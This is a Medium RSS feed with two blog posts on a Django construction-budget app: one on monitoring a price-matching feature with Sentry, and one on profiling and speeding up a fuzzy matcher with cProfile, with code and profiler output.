<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ghaza Fadhlilbaqi on Medium]]></title>
        <description><![CDATA[Stories by Ghaza Fadhlilbaqi on Medium]]></description>
        <link>https://medium.com/@fadhlilbaqimuhammadghaza?source=rss-4aafbe34b665------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*0hDrZ0_sfINo_Kya</url>
            <title>Stories by Ghaza Fadhlilbaqi on Medium</title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza?source=rss-4aafbe34b665------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 19:21:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fadhlilbaqimuhammadghaza/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The All-Seeing Eye ]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/the-all-seeing-eyes-1eecaeb3dd2f?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eecaeb3dd2f</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 15:14:41 GMT</pubDate>
            <atom:updated>2025-12-02T07:27:01.926Z</atom:updated>
            <content:encoded><![CDATA[<h4>Monitoring Django With Sentry</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*08c1F57Pq9cOpSYx.png" /><figcaption>How my eyes feel after knowing I can just monitor my app with sentry instead of just staring at my screen 24/7</figcaption></figure><p>Every great kingdom eventually learns one truth, it’s not the dragons, goblins, or cursed deployments that are the real threat. It’s the things you <em>don’t see</em>. Hidden spikes. Silent memory leaks. Background tasks plotting rebellion at 3 AM. So, to keep our Django realm safe, we turned to ancient instruments of scrying: Prometheus, collector of whispers, and Grafana, keeper of the glowing crystal panels. Together, they form the ever-watchful eye over our application, revealing what moves in the shadows long before trouble reaches the gates.</p><h3>Chapter 1: A New Eye Opens 👁️</h3><h4><em>When the unseen finally becomes visible.</em></h4><p>Monitoring begins with a simple idea. Applications never sleep. Every second they handle requests, run queries, manage resources, and make thousands of silent decisions. Without monitoring, all of this happens in the dark, so problems stay hidden until something breaks.</p><p>Monitoring gives the system an eye. It watches how the application behaves, records signals about its health, and highlights anything that shifts from normal. It turns uncertainty into information.</p><p>We rely on monitoring because it lets us understand what is really happening inside the application. It helps us detect issues early, long before users complain. It also reveals real usage patterns, not assumptions, so we can plan resources and scale with confidence.</p><p>With monitoring active, trends become clearer, performance problems become measurable, and the app stops being a black box. This is the moment the apprentice gains sight, and the world behind the screen becomes readable instead of mysterious.</p><h3>Chapter 2: Summoning the Observer 🙎</h3><p>Sentry is the watcher we call into existence when our Django app needs real visibility. It handles the full monitoring pipeline in one platform. It tracks errors, yes, but it also measures performance, logs events, and captures the context around everything that happens.</p><p>Sentry is both the collector and the interpreter. It hooks into Django automatically, watches transactions as they happen, records spans for individual operations, and stores everything as searchable events. When something breaks or slows down, Sentry captures the full context so we can actually understand what went wrong.</p><p>Instead of piecing together clues from scattered logs, we get clear dashboards that show when performance dips, when errors spike, or when something quietly starts failing. Sentry keeps the system under steady watch so nothing slips past unnoticed.</p><h3>Chapter 3: Carving the Path for the Oracle 🛣️</h3><p>Setting up Sentry means giving it access to the application so it can watch what happens. The setup is straightforward but requires a few deliberate steps.</p><p>First, install the Sentry SDK into the Python environment:</p><pre>pip install sentry-sdk</pre><p>Then we configure the sentry project DNS, which is our unique connection string that tells Sentry where to send data. The `DjangoIntegration` enables automatic tracking of Django-specific behavior like middleware, database queries, and template rendering. <br>We set `traces_sample_rate=1.0` to capture everything during development, though in production we’d lower this to save quota. The `send_default_pii=True` flag includes user context and request data, which helps with debugging by showing exactly what state the app was in when something happened.</p><pre>import sentry_sdk<br>from sentry_sdk.integrations.django import DjangoIntegration<br><br>sentry_sdk.init(<br>    dsn=&quot;https://YOUR_DSN@sentry.io/PROJECT_ID&quot;,<br>    integrations=[DjangoIntegration()],<br>    traces_sample_rate=1.0,<br>    send_default_pii=True,<br>    environment=&quot;development&quot;,<br>)</pre><p>Sentry tracks Django requests automatically, but for specific operations we add manual instrumentation. In the price matching feature, we wrapped the main endpoint and the price lookup operation:</p><pre>import sentry_sdk<br><br>@csrf_exempt<br>@require_POST<br>def recompute_total_cost(request):<br>    with sentry_sdk.start_transaction(op=&quot;price_matching&quot;, name=&quot;recompute_total_cost&quot;):<br>        # Parse and validate request<br>        payload = json.loads(request.body.decode() or &quot;{}&quot;)<br>        cleaned_payload = validate_recompute_payload(payload)<br>        <br>        canonical_code = cleaned_payload.get(&quot;code&quot;)<br>        <br>        # Track the price lookup as a separate span<br>        if unit_price is None and canonical_code:<br>            with sentry_sdk.start_span(op=&quot;price_lookup&quot;, description=f&quot;Lookup code: {canonical_code}&quot;):<br>                retriever = AhspPriceRetriever(CombinedAhspSource())<br>                unit_price = retriever.get_price_by_job_code(canonical_code)<br>                <br>                if unit_price is None:<br>                    sentry_sdk.capture_message(<br>                        f&quot;Price lookup failed for code: {canonical_code}&quot;,<br>                        level=&quot;info&quot;,<br>                        extras={&quot;code&quot;: canonical_code}<br>                    )</pre><p>This gives us three layers of visibility:</p><ul><li><strong>Transactions:</strong> track the whole request from start to finish</li><li><strong>Spans:</strong> measure individual operations inside the transaction</li><li><strong>Messages:</strong> log important events like missing data</li></ul><p>When exceptions happen, we send them to Sentry with context:</p><pre>except Exception as exc:<br>    sentry_sdk.capture_exception(exc, extras={<br>        &quot;payload&quot;: payload,<br>        &quot;canonical_code&quot;: canonical_code,<br>        &quot;volume&quot;: str(volume)<br>    })<br>    return JsonResponse({&quot;error&quot;: &quot;internal_error&quot;}, status=500)</pre><p>The `extras` dict includes whatever context helps debug the issue. Sentry stores this alongside the stack trace so you can see exactly what state the app was in when it failed.</p><h3><strong>Chapter 4: Gazing Into the Feature </strong>🌌</h3><p>The feature being monitored is the price matching feature. Users upload construction budgets as Excel files and the system automatically looks up unit prices from an AHSP database, then calculates total costs. It sounds simple but there are multiple failure points: codes might not exist in the database, the CSV data source might load slowly, validation can fail on bad input, and network issues can cause timeouts.</p><p>Without monitoring, these problems stay invisible until users complain. With Sentry running, we can see exactly what’s happening in real time.</p><p>What exactly are we measuring in said feature?</p><h4><strong>Performance (Response Time)</strong></h4><p>We measure average and p95 response times for the `price_lookup` operation. Average tells us typical speed. p95 tells us what the slowest 5% of users experience. This matters because even if the average looks acceptable, a high p95 means a significant chunk of users are waiting too long.</p><h4><strong>Usage Volume</strong></h4><p>We count how many `price_lookup` spans occur over time. This tells us if the feature is actually being used or if it’s sitting dormant. High usage justifies continued investment. Low usage signals a problem with discoverability or usefulness.</p><h4><strong>Activity Patterns</strong></h4><p>Tracking request count over time as an area chart shows when usage spikes happen. This reveals daily patterns and helps us understand when users need the system most, so we can ensure resources are ready during those windows.</p><h4><strong>Error Rate</strong></h4><p>We count errors over time to catch system failures. A sudden spike means something broke. The error log also reveals patterns in user behavior, like validation failures that point to confusing UI or unclear requirements.</p><h4><strong>Top Issues</strong></h4><p>The Issues dataset shows which errors occur most frequently. This tells us exactly where to focus our debugging efforts. Instead of addressing every possible bug, we can fix the top issues and eliminate the majority of user frustration.</p><h3>Chapter 5: What the Numbers Whisper 🔢</h3><p>Once we had monitoring data flowing in, the patterns started emerging. The dashboard doesn’t just display numbers, it tells stories about how the system actually behaves under real usage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vAof6UAWe6gPmB6JU-RyA.png" /><figcaption>My custom sentry dashboard for monitoring Price Matching</figcaption></figure><ul><li>Performance Was Worse Than Expected</li></ul><p>For the response times, we assumed price lookups were fast enough. The average was around 5 seconds, which seemed acceptable. Then we checked p95 and saw 35 seconds. That means 5% of users wait over half a minute for a response. That’s bad enough to make people abandon the feature.</p><ul><li>Usage Patterns Will Reveal Themselves</li></ul><p>The timeline chart shows when requests happen throughout the day. During testing, we see spikes corresponding to when we ran the data generator. But the real value comes when this runs on the production server with actual users.</p><p>Once deployed, this chart will reveal when users are most active. If there’s a morning surge when people start work, we’ll know to pre-warm caches before that window. If usage is scattered randomly, we’ll know the system needs to stay ready at all times. The pattern itself doesn’t matter as much as knowing what the pattern is, so we can optimize for it.</p><ul><li>Most Errors Are Preventable</li></ul><p>Validation errors dominate the error log. “Volume must be numeric” is the top issue. Users are uploading data in a format the system doesn’t expect, and the error message isn’t helping them understand what went wrong.</p><p>This isn’t a complex bug that requires deep investigation. It’s a UX problem. Better client-side validation and clearer error messages would prevent most of these errors from happening in the first place.</p><p>Usage Numbers Justify Continued Development</p><p>1.1k lookups in 24 hours means real usage. If each lookup saves 30 minutes of manual work, that’s over 550 hours saved per day. That’s measurable impact. The feature isn’t just being used, it’s providing real value.</p><p>When deciding whether to invest more in this feature or move resources elsewhere, usage metrics answer that question with data instead of gut feeling.</p><h3>Chapter 6: Deciphering the Visions 🔮</h3><p>The dashboard turns raw monitoring data into something readable. Each widget answers a specific question about system behavior.</p><ul><li>Price Lookup Performance (Line Chart)</li></ul><p>This widget shows average and p95 response times for price lookups over time. When p95 spikes above 30 seconds, it means a meaningful percentage of users are waiting too long. Even if the average looks acceptable, p95 catches the outliers that ruin user experience.</p><p>The performance graph makes it clear when optimization is needed. Slow responses don’t stay hidden.</p><ul><li>Total Price Lookups (Big Number)</li></ul><p>A single number: 1.1k lookups in 24 hours. It answers whether anyone is actually using the feature. High usage justifies continued investment. Low usage signals a problem with discoverability or utility.</p><p>This metric also estimates impact. If each lookup saves 30 minutes of manual work, 1.1k lookups means roughly 550 hours saved. That’s measurable value.</p><ul><li>Price Lookup Activity Timeline (Area Chart)</li></ul><p>Request volume plotted over time shows when activity happens. During testing, the spikes correspond to when we generated load. But once this runs in production with real users, the chart will reveal actual usage patterns.</p><p>This tells us when to pre-warm caches, when to scale resources, and when the system can idle. Without this chart, we’d only see aggregate numbers. With it, we see patterns that drive infrastructure decisions.</p><ul><li>Missing AHSP Codes</li></ul><p>This tracks log messages indicating failed price lookups. It shows which codes users search for that don’t exist in the database. Instead of guessing which codes to add next, the data shows exactly what users need. The codes with the most failed lookups get prioritized.</p><p>This widget directly informs data quality improvements.</p><ul><li>Error Rate (Line Chart)</li></ul><p>Errors counted over time. A flat line means stability. A spike means something broke. This catches incidents early before they cascade into larger problems.</p><p>Most errors in this dataset are validation failures, meaning users are uploading incorrectly formatted data. That’s fixable with better UI guidance.</p><ul><li>Top Issues (Table)</li></ul><p>The most frequent errors sorted by occurrence. “Volume must be numeric” tops the list. This tells us exactly where users are confused and what needs fixing first. Instead of addressing every possible bug, we fix the top three and eliminate the majority of user frustration.</p><h3>Chapter 7: The Eye That Never Closes 🙈</h3><p>Before monitoring, we built features and hoped they worked. Problems stayed hidden until users complained. Performance issues went unnoticed until they became crises. Decisions got made on intuition instead of data.</p><p>After setting up Sentry, the application became transparent. We can see how fast operations actually run, not how fast we assume they run. We know when users are active, not when we guess they might be. We see which data they need and which errors frustrate them most.</p><p>This visibility changes how we work. Instead of reacting to problems after they happen, we catch them early. Instead of fixing bugs randomly, we prioritize based on frequency and impact. Instead of optimizing blindly, we target the operations that actually matter to users.</p><p>Monitoring doesn’t just track the system. It teaches us how to improve it. Every spike reveals a pattern. Every error points to a fixable problem. Every usage metric validates or challenges our assumptions.</p><p>The all-seeing eye doesn’t sleep. It watches constantly so we don’t have to. And when something goes wrong, we have the context to fix it fast instead of spending hours hunting for clues.</p><p>Sentry gave the application an eye. Now we can finally see what’s really happening instead of guessing in the dark.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eecaeb3dd2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Operation: Code Dissection ]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/operation-code-dissection-f58055123c89?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/f58055123c89</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 23:16:20 GMT</pubDate>
            <atom:updated>2025-11-24T14:11:39.249Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Profiling My Django App Before It Flatlines</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*qqyLacom_toqT0kP" /><figcaption>“It’s alive! …and probably causing 300ms delays</figcaption></figure><p>Building features is one thing, but understanding <em>why</em> something runs slow is a whole different monster. This week, we went full scientist mode and dragged AutomaticRAB into the diagnostic lab for some profiling. Think of it as giving the app a full medical check-up… except instead of a heartbeat, we’re graphing CPU spikes and ORM meltdowns.</p><p>Time to dim the lights, power up the profiler, and see what the flame graphs reveal.</p><h3>Chapter 1: Profiling 101 📝</h3><h4>Ah so this is why it’s so slow…</h4><p>Before any experiments, every scientist needs a bit of theory. Profiling isn’t magic; it’s simply the art of looking inside your program while it runs and measuring where time is actually spent.</p><p>Profiling is like attaching sensors to your code. Instead of guessing why something is slow, you let the profiler run through your application and record every heartbeat, every function call, every millisecond, every loop that refuses to end.</p><p>Why do we need profiling? Because assumptions lie. I thought the fuzzy matcher was slow because of one function. Profiling revealed entire ecosystems of tiny inefficiencies working together to sabotage performance.</p><p>By doing profiling on our app, we can:</p><ul><li>Remove assumptions. Our bottlenecks become measurable, not imagined.</li><li>Know what to fix first. The biggest time sinks float to the top instantly.</li><li>Can prove improvements. Profiling before/after shows real gains.</li><li>Avoid premature optimization. Only fix what’s truly hurting performance.</li></ul><p>In short: profiling replaces superstition with science.</p><p>With that foundation in place, I was finally ready to drag my Django app into the lab and fire up the lightning.</p><h3>Chapter 2: Into the Microscope 🔬</h3><p>Like any good experiment, this started with a suspicion. The fuzzy matcher felt slow whenever it tried comparing user inputs to the AHS database. But “feels slow” isn’t data, it’s just vibes.</p><p>So the working hypothesis:</p><p>Somewhere in the fuzzy matcher, something is eating way more time than it should.</p><p>And there’s only one way to find out:<br>strap it onto the table and run current through it.</p><h3>Chapter 3: Begin Experiment ⚗️</h3><p>Instead of relying on GUI-based profilers, I went full scientist mode and used Python’s cProfile, a low-level, brutally honest profiler that measures:</p><ul><li>how many times each function runs</li><li>how long each call takes</li><li>how much time is spent inside a function vs. inside its children</li><li>where the performance sinkholes actually are</li></ul><p>I wrote a script (profile_app.py) that loaded Django, ran the fuzzy matcher with several queries, and then dumped the full performance metrics.</p><p>Running it felt like watching the creature’s vitals spike on a medical monitor.<br>Every function call. Every slowdown. Every heartbeat.</p><pre>import cProfile<br>import pstats<br>import io<br>from pstats import SortKey<br>import django<br>import os<br>import sys<br><br># Setup Django<br>sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))<br>os.environ.setdefault(&#39;DJANGO_SETTINGS_MODULE&#39;, &#39;AutomaticRAB.settings&#39;)<br>django.setup()<br><br>def profile_fuzzy_matcher():<br>    &quot;&quot;&quot;Profile the fuzzy matcher service&quot;&quot;&quot;<br>    # Import here after Django is set up<br>    from automatic_job_matching.service.fuzzy_matcher import FuzzyMatcher<br>    from automatic_job_matching.repository.combined_ahs_repo import CombinedAhsRepository<br>    <br>    print(&quot;Initializing repository...&quot;)<br>    repo = CombinedAhsRepository()<br>    <br>    print(&quot;Initializing fuzzy matcher...&quot;)<br>    matcher = FuzzyMatcher(repo)<br>    <br>    # Example queries to test<br>    test_queries = [<br>        &quot;1 m3 Pekerjaan Galian Tanah&quot;,<br>        &quot;1 m2 Pasang Bata Merah&quot;,<br>        &quot;1 m Pekerjaan Pengecatan Dinding&quot;,<br>        &quot;1 kg Besi Beton Polos&quot;,<br>        &quot;1 m3 Beton K-225&quot;<br>    ]<br>    <br>    print(&quot;Running fuzzy matching tests...&quot;)<br>    for query in test_queries:<br>        results = matcher.find_multiple_matches(query, limit=5)<br>        if results:<br>            print(f&quot;  &#39;{query}&#39;: {len(results)} matches&quot;)<br>        else:<br>            print(f&quot;  &#39;{query}&#39;: No matches found&quot;)<br><br><br><br>def run_profiler(func, output_file=&quot;fuzzy_matcher_profile.txt&quot;):<br>    &quot;&quot;&quot;Run profiler and save results - only shows application code&quot;&quot;&quot;<br>    pr = cProfile.Profile()<br>    <br>    # Run the function with profiling<br>    pr.runcall(func)<br>    <br>    # Create stats object<br>    ps = pstats.Stats(pr)<br>    ps.strip_dirs()<br>    ps.sort_stats(SortKey.CUMULATIVE)<br>    <br>    # Filter pattern for fuzzy matcher application code only<br>    APP_CODE_FILTER = &#39;fuzzy_matcher|text_normalizer|repository|combined_ahs&#39;<br>    <br>    # Print clean summary to console - FILTERED to application code only<br>    print(&quot;\n&quot; + &quot;=&quot;*80)<br>    print(&quot;FUZZY MATCHER PERFORMANCE PROFILE&quot;)<br>    print(&quot;=&quot;*80 + &quot;\n&quot;)<br>    ps.print_stats(APP_CODE_FILTER, 30)<br>    <br>    # Save detailed results to file<br>    s = io.StringIO()<br>    ps_file = pstats.Stats(pr, stream=s)<br>    ps_file.strip_dirs()<br>    <br>    # Section 1: Cumulative time (main bottlenecks)<br>    s.write(&quot;=&quot;*80 + &quot;\n&quot;)<br>    s.write(&quot;FUZZY MATCHER - ORDERED BY: CUMULATIVE TIME\n&quot;)<br>    s.write(&quot;=&quot;*80 + &quot;\n\n&quot;)<br>    ps_file.sort_stats(SortKey.CUMULATIVE)<br>    ps_file.print_stats(APP_CODE_FILTER, 50)<br>    <br>    # Section 2: Total time (function-level performance)<br>    s.write(&quot;\n\n&quot; + &quot;=&quot;*80 + &quot;\n&quot;)<br>    s.write(&quot;FUZZY MATCHER - ORDERED BY: TOTAL TIME (excluding subcalls)\n&quot;)<br>    s.write(&quot;=&quot;*80 + &quot;\n\n&quot;)<br>    ps_file.sort_stats(SortKey.TIME)<br>    ps_file.print_stats(APP_CODE_FILTER, 50)<br>    <br>    # Section 3: Call count (frequently called functions)<br>    s.write(&quot;\n\n&quot; + &quot;=&quot;*80 + &quot;\n&quot;)<br>    s.write(&quot;FUZZY MATCHER - ORDERED BY: CALL COUNT\n&quot;)<br>    s.write(&quot;=&quot;*80 + &quot;\n\n&quot;)<br>    ps_file.sort_stats(SortKey.CALLS)<br>    ps_file.print_stats(APP_CODE_FILTER, 30)<br>    <br>    # Write to file<br>    with open(output_file, &#39;w&#39;) as f:<br>        f.write(s.getvalue())<br>    <br>    print(f&quot;\n✓ Detailed profile saved to {output_file}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;\n&quot; + &quot;=&quot;*80)<br>    print(&quot;Profiling Fuzzy Matcher...&quot;)<br>    print(&quot;=&quot;*80)<br>    run_profiler(profile_fuzzy_matcher)<br>    <br>    print(&quot;\n&quot; + &quot;=&quot;*80)<br>    print(&quot;Profiling completed!&quot;)<br>    print(&quot;=&quot;*80)<br>    print(&quot;\nHow to analyze the results:&quot;)<br>    print(&quot;- ncalls: Number of times function was called&quot;)<br>    print(&quot;- tottime: Total time spent in function (excluding subcalls)&quot;)<br>    print(&quot;- cumtime: Cumulative time (including subcalls) - MAIN BOTTLENECK INDICATOR&quot;)<br>    print(&quot;- Focus on functions with high cumtime or high ncalls for optimization&quot;)</pre><p>Once the smoke cleared, the profiler revealed the truth.</p><pre><br>&gt; python profile_app.py<br><br>================================================================================<br>FUZZY MATCHER PERFORMANCE PROFILE<br>================================================================================<br><br>         19651531 function calls (19506926 primitive calls) in 12.598 seconds<br><br>   Ordered by: cumulative time<br>   List reduced from 10470 to 51 due to restriction &lt;&#39;fuzzy_matcher|text_normalizer|repository|combined_ahs&#39;&gt;<br>   List reduced from 51 to 30 due to restriction &lt;30&gt;<br><br>   ncalls  tottime  percall  cumtime  percall filename:lineno(function)<br>        5    0.000    0.000    7.615    1.523 fuzzy_matcher.py:645(find_multiple_matches)<br>        5    0.003    0.001    7.614    1.523 fuzzy_matcher.py:587(find_multiple_matches)<br>        5    0.000    0.000    7.158    1.432 fuzzy_matcher.py:198(get_candidates_by_head_token)<br>        5    0.002    0.000    7.158    1.432 fuzzy_matcher.py:211(_get_candidates_internal)<br>        5    0.000    0.000    7.148    1.430 fuzzy_matcher.py:280(_try_multi_word_query)<br>        5    0.028    0.006    6.226    1.245 fuzzy_matcher.py:308(_filter_candidates_all_words)<br>    20555    0.029    0.000    4.448    0.000 fuzzy_matcher.py:331(_count_matched_words)<br>    57554    0.077    0.000    4.420    0.000 fuzzy_matcher.py:346(_check_word_match)<br>    53200    0.214    0.000    4.020    0.000 fuzzy_matcher.py:375(_check_fuzzy_match)<br>    29696    0.023    0.000    2.399    0.000 fuzzy_matcher.py:36(_norm_name)<br>    29696    0.141    0.000    2.377    0.000 text_normalizer.py:119(normalize_text)<br>    29696    0.058    0.000    1.142    0.000 text_normalizer.py:55(_strip_diacritics)<br>  1925879    0.481    0.000    0.702    0.000 text_normalizer.py:57(&lt;genexpr&gt;)<br>        2    0.000    0.000    0.622    0.311 fuzzy_matcher.py:400(_try_multi_word_fallback)<br>        2    0.006    0.003    0.621    0.310 fuzzy_matcher.py:418(_filter_candidates_any_material)<br>    29696    0.179    0.000    0.332    0.000 text_normalizer.py:101(_apply_character_substitutions)<br>    55228    0.049    0.000    0.313    0.000 fuzzy_matcher.py:365(_check_synonym_match)<br>        5    0.002    0.000    0.296    0.059 combined_ahs_repo.py:32(get_all_ahs)<br>      914    0.003    0.000    0.188    0.000 fuzzy_matcher.py:157(calculate_sequence_similarity)<br>      914    0.011    0.000    0.186    0.000 fuzzy_matcher.py:161(calculate_partial_similarity)<br>    29696    0.035    0.000    0.175    0.000 text_normalizer.py:61(_convert_at_codes)<br>    29696    0.021    0.000    0.170    0.000 text_normalizer.py:89(_protect_codes)<br>     9134    0.008    0.000    0.168    0.000 fuzzy_matcher.py:140(get_word_weight)<br>     5481    0.002    0.000    0.089    0.000 fuzzy_matcher.py:169(&lt;genexpr&gt;)<br>     4950    0.003    0.000    0.088    0.000 fuzzy_matcher.py:128(_is_action_word)<br>     9158    0.007    0.000    0.079    0.000 fuzzy_matcher.py:132(_is_technical_word)<br>    49463    0.015    0.000    0.077    0.000 fuzzy_matcher.py:130(&lt;genexpr&gt;)<br>    37002    0.012    0.000    0.064    0.000 fuzzy_matcher.py:134(&lt;genexpr&gt;)<br>     8222    0.014    0.000    0.038    0.000 fuzzy_matcher.py:434(_candidate_matches_any_material)<br>    29696    0.023    0.000    0.035    0.000 text_normalizer.py:113(_restore_protected_codes)<br><br></pre><p>Once I recovered from the shock, the picture became clear:</p><p>The biggest issues weren’t where I expected.</p><p>1. find_multiple_matches() dominating runtime<br>This single function held 7.6 seconds of the total 12.5 seconds. That means the bottleneck wasn’t distributed, it was concentrated like a black hole.</p><p>2. Candidate filtering was doing laps around the stadium<br>_filter_candidates_all_words(): 6.2 seconds<br>Every time a query came in, this function happily iterated through thousands of AHS entries, over and over.</p><p>3. String similarity checks were out of control<br>_check_word_match, _check_fuzzy_match, and _count_matched_words ran over 130,000 times combined.<br>At this point I realized “fuzzy matching” was more like “fuzzy thrashing.”</p><p>4. Text normalization was costing nearly 2.4 seconds alone<br>29,696 calls to normalize_text().<br>And almost all of those calls were repeats. Same string. Same logic. No caching. Just raw suffering.</p><p>5. Loops calling other loops calling other loops<br>The profiler confirmed this was a nesting doll of inefficiency. Every operation triggered three more behind the scenes.</p><p>After staring at this output for a good minute, I realized the fuzzy matcher wasn’t slow because of one bad decision, it was slow because every little inefficiency formed a tiny rebellion, and collectively, they DDoS’d the runtime.</p><p>Time to perform surgery.</p><h3>Chapter 4: Prescribing the Remedy 🩹</h3><h4><em>Stitching Up the Monster After the Diagnosis</em></h4><p>Once the profiler finished screaming its numbers at me, the truth was unavoidable:<br> My fuzzy matcher wasn’t “a bit slow.”<br> It was <em>critically ill</em>, hanging onto life with a CPU usage graph that looked like a panic attack.</p><p>So the next phase of the experiment began — treatment.</p><p>This is where we stop observing and start intervening.<br> Time to grab the scalpel, crack open the algorithm, and patch the creature back together.</p><p>And wow… did it need surgery.</p><p><strong>1. Caching Repeated Normalization</strong></p><p>Text normalization was being called 29,696 times in the unoptimized run.<br>Most of those calls were the same inputs being normalized again and again.</p><p>So: cache it.</p><pre>@lru_cache(maxsize=5000)<br>def _norm_name(s: str) -&gt; str:<br>    return normalize_text(s or &quot;&quot;)</pre><p><strong>2. Smarter Word Weighting</strong></p><p>The matcher was treating all words equally, even generic filler words that shouldn’t matter.</p><p>We upgraded the weighting logic:</p><pre>HIGH_WEIGHT = 3.0<br>NORMAL_WEIGHT = 1.0<br>LOW_WEIGHT = 0.3<br>ULTRA_LOW_WEIGHT = 0.15</pre><p><strong>3. Early Termination on Fuzzy Matches</strong></p><p>Originally, _check_fuzzy_match() compared everything with everything. Even obviously incompatible words.</p><p>Now it bails early:</p><pre>if len(word) &lt; 6:<br>    return False<br>if candidate_word[0] != word[0]:<br>    continue</pre><p><strong>4. Multi-Word Query Shortcut</strong></p><p>Instead of scanning all AHS rows, we narrow down the candidate pool using the head token:</p><pre>head_candidates = self._repository.by_name_candidates(significant_words[0])</pre><p><strong>5. Unit Filtering</strong></p><p>Queries with “1 m2” shouldn’t match items in “per kg”.<br> Before, everything went through the pipeline anyway.</p><p>Now we filter early:</p><pre>if not normalized_user:<br>    return candidates</pre><p>After all these changes, the second profiler run showed a massive improvement:</p><pre>&gt; python profile_app.py<br><br>================================================================================<br>FUZZY MATCHER PERFORMANCE PROFILE<br>================================================================================<br><br>         7874778 function calls (7733487 primitive calls) in 5.998 seconds<br><br>   Ordered by: cumulative time<br>   List reduced from 10576 to 52 due to restriction &lt;&#39;fuzzy_matcher|text_normalizer|repository|combined_ahs&#39;&gt;<br>   List reduced from 52 to 30 due to restriction &lt;30&gt;<br><br>   ncalls  tottime  percall  cumtime  percall filename:lineno(function)<br>        5    0.000    0.000    0.849    0.170 fuzzy_matcher.py:671(find_multiple_matches)<br>        5    0.002    0.000    0.848    0.170 fuzzy_matcher.py:613(find_multiple_matches)<br>        5    0.000    0.000    0.694    0.139 fuzzy_matcher.py:200(get_candidates_by_head_token)<br>        5    0.001    0.000    0.694    0.139 fuzzy_matcher.py:213(_get_candidates_internal)<br>        5    0.000    0.000    0.688    0.138 fuzzy_matcher.py:282(_try_multi_word_query)<br>        7    0.011    0.002    0.429    0.061 fuzzy_matcher.py:323(_filter_candidates_all_words)<br>     4006    0.003    0.000    0.249    0.000 fuzzy_matcher.py:37(_norm_name)<br>     4006    0.013    0.000    0.246    0.000 text_normalizer.py:120(normalize_text)<br>    12672    0.010    0.000    0.167    0.000 fuzzy_matcher.py:346(_count_matched_words)<br>    33880    0.028    0.000    0.157    0.000 fuzzy_matcher.py:361(_check_word_match)<br>      882    0.007    0.000    0.149    0.000 fuzzy_matcher.py:163(calculate_partial_similarity)<br>     8814    0.006    0.000    0.137    0.000 fuzzy_matcher.py:142(get_word_weight)<br>     4006    0.006    0.000    0.121    0.000 text_normalizer.py:56(_strip_diacritics)<br>        5    0.000    0.000    0.120    0.024 combined_ahs_repo.py:26(by_name_candidates)<br>        3    0.001    0.000    0.105    0.035 combined_ahs_repo.py:32(get_all_ahs)<br>   259334    0.052    0.000    0.076    0.000 text_normalizer.py:58(&lt;genexpr&gt;)<br>     4700    0.002    0.000    0.073    0.000 fuzzy_matcher.py:130(_is_action_word)<br>     5289    0.002    0.000    0.070    0.000 fuzzy_matcher.py:171(&lt;genexpr&gt;)<br>    32054    0.038    0.000    0.065    0.000 fuzzy_matcher.py:390(_check_fuzzy_match)<br>    46963    0.013    0.000    0.064    0.000 fuzzy_matcher.py:132(&lt;genexpr&gt;)<br>     8838    0.006    0.000    0.061    0.000 fuzzy_matcher.py:134(_is_technical_word)<br>    32264    0.016    0.000    0.060    0.000 fuzzy_matcher.py:380(_check_synonym_match)<br>    35402    0.009    0.000    0.049    0.000 fuzzy_matcher.py:136(&lt;genexpr&gt;)<br>     4006    0.019    0.000    0.035    0.000 text_normalizer.py:102(_apply_character_substitutions)<br>        2    0.000    0.000    0.031    0.015 fuzzy_matcher.py:426(_try_multi_word_fallback)<br>        2    0.004    0.002    0.030    0.015 fuzzy_matcher.py:444(_filter_candidates_any_material)<br>     8222    0.010    0.000    0.026    0.000 fuzzy_matcher.py:460(_candidate_matches_any_material)<br>     4006    0.003    0.000    0.017    0.000 text_normalizer.py:62(_convert_at_codes)<br>     4006    0.002    0.000    0.017    0.000 text_normalizer.py:90(_protect_codes)<br>        8    0.006    0.001    0.010    0.001 combined_ahs_repo.py:12(_merge_unique)</pre><p>Not perfect yet, but a completely different creature compared to the original.</p><h3>Chapter 5: Vital Signs Normalized 🩺</h3><p>Profiling the app ended up being less about chasing one bug and more about learning how to think scientifically about performance. Once you strip away the guesswork, profiling forces you to confront real data: which functions actually matter, which assumptions were wrong, and which parts of the system quietly drain milliseconds like a slow bleed. It also teaches restraint — don’t fix what isn’t slow, and don’t touch what profiling didn’t highlight.</p><p>The entire process feels a bit like monitoring a patient: observe the symptoms, run diagnostics, identify which organs are overworked, then intervene only where the data points you. That mindset, measure first, change later — is the real takeaway here. Whether or not the fuzzy matcher improved, profiling gave me a clearer way to understand my system’s behavior, catch hidden inefficiencies, and reason about performance with evidence rather than vibes.</p><p>And at the end of the day, that’s the real win: now the app isn’t just faster, I’m better equipped to keep it healthy.</p><img 